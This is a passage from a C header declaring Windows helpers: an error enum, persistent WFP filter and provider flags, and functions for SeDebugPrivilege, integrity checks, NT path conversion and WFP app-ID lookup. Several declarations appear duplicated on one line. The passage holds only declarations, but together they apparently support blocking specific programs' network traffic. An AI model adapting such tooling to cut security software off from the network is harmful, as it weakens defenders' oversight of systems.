CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME = 0x5,
} ErrorCode;
#define FWPM_FILTER_FLAG_PERSISTENT (0x00000001) #define FWPM_FILTER_FLAG_PERSISTENT (0x00000001)
#define FWPM_PROVIDER_FLAG_PERSISTENT (0x00000001) #define FWPM_PROVIDER_FLAG_PERSISTENT (0x00000001)
BOOL CheckProcessIntegrityLevel(); BOOL CheckProcessIntegrityLevel();
BOOL EnableSeDebugPrivilege(); BOOL EnableSeDebugPrivilege();
void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wCharArraySize); void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wCharArraySize);
BOOL GetDriveName(PCWSTR fileName, wchar_t* driveName, size_t driveNameSize);
ErrorCode ConvertToNtPath(PCWSTR filePath, wchar_t* ntPathBuffer, size_t bufferSize);
BOOL FileExists(PCWSTR filePath);
ErrorCode CustomFwpmGetAppIdFromFileName0(PCWSTR filePath, FWP_BYTE_BLOB** appId);
void FreeAppId(FWP_BYTE_BLOB* appId);
BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderGUID);